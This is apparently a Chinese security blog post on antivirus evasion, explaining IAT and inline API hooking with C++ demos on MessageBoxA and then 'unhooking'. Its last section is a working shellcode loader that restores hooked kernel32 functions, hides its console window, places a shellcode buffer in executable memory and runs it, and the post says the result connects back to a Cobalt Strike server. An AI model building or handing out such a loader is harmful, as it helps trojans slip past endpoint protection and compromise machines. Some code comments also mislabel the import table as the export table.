【杀软对抗】Hook与UnHook基础

ivi

ZackSecurity ZackSecurity 2023-12-07 16:44 发表于广西

一、Hook
Hook 说明：运行程序时杀软会检查敏感的 API 函数，如 OpenProcess、VirtualAllocEx、WriteProcessMemory 等。杀软常用的方式是在程序加载 API 前 jmp 跳转到杀软的检查代码地址，检查即将要调用的系统 API 是否为危险函数，是危险函数就阻断，否则 jmp 回程序原来顺序执行的地址，这个 jmp 检测过程就是 hook 过程。

1. IATHook
IATHOOK 的基本原理是通过修改导入地址表中的函数地址，将原始函数地址替换为自定义的函数地址。这样，在程序调用原始函数时，实际上会执行被替换的自定义函数，从而实现对目标函数的拦截和修改。

IATHook 实现过程：

获取目标模块的基址：根据目标函数的模块名称或函数地址，可以通过 Windows API 函数如 GetModuleHandle 或 LoadLibrary 来获取目标模块的基址。

获取导入地址表（IAT）：通过解析目标模块的导入描述符表（Import Descriptor Table），可以获得导入地址表的位置。

修改导入地址表：将目标函数的地址替换为自定义函数的地址，即进行钩子操作。可以使用 VirtualProtect 函数来修改内存页面的访问权限，确保可以写入。

自定义函数的实现：编写自定义函数的代码，用于替代原始函数的功能。在自定义函数中，可以执行一些额外的操作，如记录日志、修改参数、阻止函数调用等。

调用原始函数：在自定义函数中，如果需要调用原始函数，可以通过函数指针来调用被替换的原始函数。

IATHook 实现测试代码：

1. #include <windows.h>
   
2. 
   
3. //创建函数指针
   
4. typedef int (WINAPI* PfnMsgA)(
   
5.    _In_opt_ HWND hWnd,
   
6.    _In_opt_ LPCSTR lpText,
   
7.    _In_opt_ LPCSTR lpCaption,
   
8.    _In_ UINT uType);
   
9. //定义函数指针
   
10. PfnMsgA g_OldPfnMsgA = nullptr;
    
11. 
    
12. //自己定义的hook函数
    
13. int WINAPI MyMessageBox(_In_opt_ HWND hWnd, _In_opt_ LPCSTR lpText, _In_opt_ LPCSTR lpCaption, _In_ UINT uType)
    
14. {
    
15.    char szHookText[] = "成功hook到检查函数";
    
16.    if (g_OldPfnMsgA != nullptr)
    
17.   {
    
18.        //调用前的函数指针
    
19.        return g_OldPfnMsgA(hWnd, szHookText, lpCaption, uType);
    
20.   }
    
21.    return 0;
    
22. }
    
23. 
    
24. //hook函数
    
25. void SetIatHook()
    
26. {
    
27.    PVOID pHookAddress = nullptr;
    
28.    //指定要HOOK的函数MessageBoxA
    
29.    pHookAddress = GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
    
30.    if (nullptr == pHookAddress)
    
31.   {
    
32.        OutputDebugString(TEXT("获取函数地址失败"));
    
33.        return;
    
34.   }
    
35.    //保存旧的函数指针
    
36.    g_OldPfnMsgA = (PfnMsgA)pHookAddress;
    
37.    //解析PE头，寻找IAT
    
38.    HMODULE hModImageBase = GetModuleHandle(NULL);//获取当前的ImagBase
    
39.    PIMAGE_DOS_HEADER pDosHead = (PIMAGE_DOS_HEADER)(DWORD)hModImageBase; //获取DOS头
    
40.    DWORD dwTemp = (DWORD)pDosHead + (DWORD)pDosHead->e_lfanew;
    
41.    PIMAGE_NT_HEADERS pNtHead = (PIMAGE_NT_HEADERS)dwTemp;
    
42.    PIMAGE_FILE_HEADER pFileHead = (PIMAGE_FILE_HEADER)&pNtHead->FileHeader;
    
43.    PIMAGE_OPTIONAL_HEADER pOptHead = (PIMAGE_OPTIONAL_HEADER)&pNtHead->OptionalHeader;
    
44.    //寻找导出表的位置
    
45.    DWORD dwExportLocal = pOptHead->DataDirectory[1].VirtualAddress; //找到导出表偏移
    
46.    //定位到导出表
    
47.    dwTemp = (DWORD)GetModuleHandle(NULL) + dwExportLocal;
    
48.    PIMAGE_IMPORT_DESCRIPTOR   pImport = (PIMAGE_IMPORT_DESCRIPTOR)dwTemp;
    
49.    PIMAGE_IMPORT_DESCRIPTOR   pCurrent = pImport;
    
50.    DWORD* pFirstThunk; //导入表子表,也就是IAT存储函数地址的表
    
51.    //遍历导入表
    
52.    while (pCurrent->Characteristics && pCurrent->FirstThunk != NULL)
    
53.   {
    
54.        dwTemp = pCurrent->FirstThunk + (DWORD)GetModuleHandle(NULL); //找到导入表
    
55.        pFirstThunk = (DWORD*)dwTemp; //加上偏移才是真正的导入表
    
56.        while (*(DWORD*)pFirstThunk != NULL)
    
57.       {
    
58.            //遍历子表
    
59.            if (*(DWORD*)pFirstThunk == (DWORD)g_OldPfnMsgA)
    
60.           {
    
61.                //找到要修改的导入表，修改内存保护属性，写入自己的函数地址
    
62.                DWORD oldProtected;
    
63.                VirtualProtect(pFirstThunk, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtected);
    
64.                dwTemp = (DWORD)MyMessageBox;
    
65.                memcpy(pFirstThunk, (DWORD*)&dwTemp, 4); //将变量中保存的函数地址拷贝到导入表中
    
66.                //四字节长度的地址
    
67.                VirtualProtect(pFirstThunk, 0x1000, oldProtected, &oldProtected);
    
68.           }
    
69.            pFirstThunk++; //继续遍历
    
70.       }
    
71.        pCurrent++; //每次是加一个导入表结构
    
72.   }
    
73. }
    
74. 
    
75. //取消hook函数，遍历导入表后恢复导入表
    
76. void UnIatHook()
    
77. {
    
78.    PVOID pHookAddress = nullptr;
    
79.    //取消hook到MyMessageBox函数
    
80.    pHookAddress = MyMessageBox;
    
81.    if (nullptr == pHookAddress)
    
82.   {
    
83.        OutputDebugString(TEXT("恢复函数地址失败"));
    
84.        return;
    
85.   }
    
86.    //解析PE头，寻找IAT
    
87.    HMODULE hModImageBase = GetModuleHandle(NULL);//获取当前的ImagBase
    
88.    PIMAGE_DOS_HEADER pDosHead = (PIMAGE_DOS_HEADER)(DWORD)hModImageBase; //获取DOS头
    
89.    DWORD dwTemp = (DWORD)pDosHead + (DWORD)pDosHead->e_lfanew;
    
90.    PIMAGE_NT_HEADERS pNtHead = (PIMAGE_NT_HEADERS)dwTemp;
    
91.    PIMAGE_FILE_HEADER pFileHead = (PIMAGE_FILE_HEADER)&pNtHead->FileHeader;
    
92.    PIMAGE_OPTIONAL_HEADER pOptHead = (PIMAGE_OPTIONAL_HEADER)&pNtHead->OptionalHeader;
    
93.    //寻找导出表的位置
    
94.    DWORD dwExportLocal = pOptHead->DataDirectory[1].VirtualAddress; //找到导出表偏移
    
95.    //定位到导出表
    
96.    dwTemp = (DWORD)GetModuleHandle(NULL) + dwExportLocal;
    
97.    PIMAGE_IMPORT_DESCRIPTOR   pImport = (PIMAGE_IMPORT_DESCRIPTOR)dwTemp;
    
98.    PIMAGE_IMPORT_DESCRIPTOR   pCurrent = pImport;
    
99.    DWORD* pFirstThunk; //导入表子表
    
100.    //遍历导入表
     
101.    while (pCurrent->Characteristics && pCurrent->FirstThunk != NULL)
     
102.   {
     
103.        dwTemp = pCurrent->FirstThunk + (DWORD)GetModuleHandle(NULL);
     
104.        pFirstThunk = (DWORD*)dwTemp; //加上偏移才是真正的导入表
     
105.        while (*(DWORD*)pFirstThunk != NULL)
     
106.       {
     
107.            //遍历子表
     
108.            if (*(DWORD*)pFirstThunk == (DWORD)MyMessageBox) //如果是自己的函数地址，则进行恢复
     
109.           {
     
110.                //找到要修改的导入表，修改内存保护属性，写入自己的函数地址
     
111.                DWORD oldProtected;
     
112.                VirtualProtect(pFirstThunk, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtected);
     
113.                dwTemp = (DWORD)g_OldPfnMsgA;
     
114.                memcpy(pFirstThunk, (DWORD*)&dwTemp, 4); //将变量中保存的函数地址拷贝到导入表中
     
115.                VirtualProtect(pFirstThunk, 0x1000, oldProtected, &oldProtected);
     
116.           }
     
117.            pFirstThunk++; //继续遍历
     
118.       }
     
119.        pCurrent++; //每次是加一个导入表结构
     
120.   }
     
121. }
     
122. 
     
123. void main()
     
124. {
     
125.    MessageBoxA(NULL, "hook测试", "标题", MB_OK);
     
126.    SetIatHook();  //调用hook
     
127.    MessageBoxA(NULL, "hook测试", "标题", MB_OK);
     
128.    UnIatHook();  //取消hook
     
129.    MessageBoxA(NULL, "hook测试", "标题", MB_OK);
     
130. }

复制代码

IATHook 实现测试运行：

调用hook前，调用MessageBoxA函数正常输出内容。



调用hook后，再调用MessageBoxA函数输出内容被修改。


取消hook后，再调用MessageBoxA函数输出内容恢复正常。


2. InlineHook
InlineHook（内联钩子）是一种在程序运行时修改函数执行流程的技术。它通过修改函数的原始代码，将目标函数的执行路径重定向到自定义的代码段，从而实现对目标函数的拦截和修改。

InlineHook 内联钩子的实现有以下步骤：

• 定位目标函数的地址：通过函数名或者导入表等方式找到目标函数在内存中的地址。
• 修改目标函数的内存权限：将目标函数的内存权限修改为可写可执行，以便后续修改函数的指令。
• 备份目标函数的原始指令：将目标函数的原始指令备份到自定义的缓冲区中。
• 修改目标函数的指令：将目标函数的指令修改为跳转到自定义代码的指令，以实现拦截和修改。
• 编写自定义代码：编写自定义的代码，实现对目标函数的拦截和修改逻辑。
• 执行自定义代码：将自定义的代码插入到目标函数的执行流程中，使其被调用时执行自定义逻辑。
• 恢复目标函数的原始指令：在自定义代码执行完毕后，恢复目标函数的原始指令，以确保目标函数的正常执行。
  

InlineHook测试dll代码：

1. #include <windows.h>
   
2. #include <pch.h>
   
3. 
   
4. //定义函数地址变量和新旧比特数
   
5. PROC m_FunAddress;
   
6. BYTE m_OldBytes[5];
   
7. BYTE m_NewBytes[5];
   
8. 
   
9. BOOL Hook(const char* pszModuleName, const char* pszFuncName, PROC pfnHookFunc)
   
10. {
    
11. //获取指定模块中指定函数的地址
    
12. m_FunAddress = (PROC)GetProcAddress(GetModuleHandleA(pszModuleName), pszFuncName);
    
13. if (m_FunAddress == NULL)
    
14. {
    
15. return false;
    
16. }
    
17. //保存函数的头五个字节
    
18. DWORD dwRet = 0;
    
19. ReadProcessMemory(GetCurrentProcess(), m_FunAddress, m_OldBytes, 5, &dwRet);
    
20. //构造Jmp指令
    
21.    //jmp Address
    
22. m_NewBytes[0] = '\xE9';
    
23. *(DWORD*)(m_NewBytes + 1) = (DWORD)pfnHookFunc - (DWORD)m_FunAddress - 5;
    
24. //写5字节
    
25. WriteProcessMemory(GetCurrentProcess(), m_FunAddress, m_NewBytes, 5, &dwRet);
    
26. return true;
    
27. }
    
28. 
    
29. //取消hook函数
    
30. VOID UnHook()
    
31. {
    
32. if (m_FunAddress != 0)
    
33. {
    
34. DWORD dwRet = 0;
    
35. WriteProcessMemory(GetCurrentProcess(), m_FunAddress, m_OldBytes, 5, &dwRet);
    
36. }
    
37. }
    
38. 
    
39. //重新hook函数
    
40. BOOL ReHook()
    
41. {
    
42. if (m_FunAddress != 0)
    
43. {
    
44. DWORD dwRet = 0;
    
45. WriteProcessMemory(GetCurrentProcess(), m_FunAddress, m_NewBytes, 5, &dwRet);
    
46. }
    
47. return true;
    
48. }
    
49. 
    
50. //自定义函数MyMessageBoxA
    
51. int
    
52. WINAPI MyMessageBoxA(
    
53. _In_opt_ HWND hWnd,
    
54. _In_opt_ LPCSTR lpText,
    
55. _In_opt_ LPCSTR lpCaption,
    
56. _In_ UINT uType)
    
57. {
    
58. UnHook();
    
59. int nRet = MessageBoxA(hWnd, "InlineHook 成功！", "标题", uType);
    
60. ReHook();
    
61. return nRet;
    
62. }
    
63. 
    
64. //dll主函数
    
65. BOOL APIENTRY DllMain(HMODULE hModule,
    
66. DWORD  ul_reason_for_call,
    
67. LPVOID lpReserved
    
68. )
    
69. {
    
70. switch (ul_reason_for_call)
    
71. {
    
72. case DLL_PROCESS_ATTACH:
    
73. m_FunAddress = NULL;
    
74. memset(m_OldBytes, 0, 5);
    
75. memset(m_NewBytes, 0, 5);
    
76. //hook系统user32.dll里面的MessageBoxA到自定义函数MyMessageBoxA
    
77. Hook("user32.dll", "MessageBoxA", (PROC)MyMessageBoxA);
    
78. break;
    
79. case DLL_THREAD_ATTACH:
    
80. break;
    
81. case DLL_THREAD_DETACH:
    
82. break;
    
83. case DLL_PROCESS_DETACH:
    
84. UnHook();
    
85. break;
    
86. }
    
87. return TRUE;
    
88. }

复制代码

InlineHook测试C++代码：

1. #include <windows.h>
   
2. 
   
3. void main() {
   
4. MessageBoxA(NULL, "Hook 测试", "标题", NULL);
   
5. LoadLibraryA("Dll1.dll"); //调用hook的dll文件
   
6. MessageBoxA(NULL, "Hook 测试", "标题", NULL);
   
7. }

复制代码

分别生成dll文件和exe文件，放在同一目录下执行，效果如下：

调用hook前，MessageBoxA函数正常输出内容。



调用hook后，MessageBoxA函数内容被修改输出。


二、UnHook
反Hook说明：hook叫上钩，unhook叫脱钩。当运行木马时杀软会跳转程序到检查恶意API的函数里面，这时调用的恶意API是属于hook上钩状态，反Hook就是需要使恶意API复原为脱钩状态，脱钩后再调用。

unhook脱钩加载shellcode代码：

1. #include <windows.h>
   
2. #include <ImageHlp.h>
   
3. #include <iostream>
   
4. #include <vector>
   
5. using namespace std;
   
6. #pragma comment(lib,"imagehlp")
   
7. //隐藏黑框
   
8. #pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"" )
   
9. 
   
10. //shellcode变量
    
11. unsigned char buf[] = "";
    
12. 
    
13. //unhook函数，传入要脱钩的api
    
14. void unhookAPI(const char* functionName) {
    
15.    
    
16. //加载unhook脱钩api的dll文件
    
17. HMODULE lib = LoadLibrary("C:\\Windows\\System32\\kernel32.dll");
    
18. BYTE assemblyBytes[5] = {};
    
19. 
    
20. if (lib) {
    
21. void* fa = GetProcAddress(lib, functionName);
    
22. if (fa) {
    
23. BYTE* read = (BYTE*)fa;
    
24. for (int i = 0; i < 5; i++) {
    
25. assemblyBytes[i] = read[i];
    
26. }
    
27. //复写传入的api函数
    
28. WriteProcessMemory(GetCurrentProcess(), GetProcAddress(GetModuleHandle("kernel32.dll"), functionName), (LPCVOID)assemblyBytes, 5, NULL);
    
29. FreeLibrary(lib);
    
30. 
    
31. printf("Unhook %s Succeed!\n", functionName);
    
32. 
    
33. }
    
34. else
    
35. printf("Function not found!\n");
    
36. }
    
37. else
    
38. printf("Error loading library!\n");
    
39. }
    
40. 
    
41. int main() {
    
42. 
    
43. //unhook脱钩，将被hook的函数复原
    
44. unhookAPI("VirtualAlloc");
    
45. unhookAPI("RtlMoveMemory");
    
46. unhookAPI("CreateThread");
    
47. unhookAPI("WaitForSingleObject");
    
48. 
    
49. //申请一段虚拟内存空间
    
50. LPVOID add = VirtualAlloc(NULL, sizeof(buf), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
51. //移动shellcode内容到内存
    
52. RtlMoveMemory(add, buf, sizeof(buf));
    
53. //通过创建新线程的方式运行内容
    
54. HANDLE hand = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)add, NULL, NULL, NULL);
    
55. //等待结束
    
56. WaitForSingleObject(hand, INFINITE);
    
57. 
    
58. return 0;
    
59. }

复制代码

生成exe运行，上线CS服务端：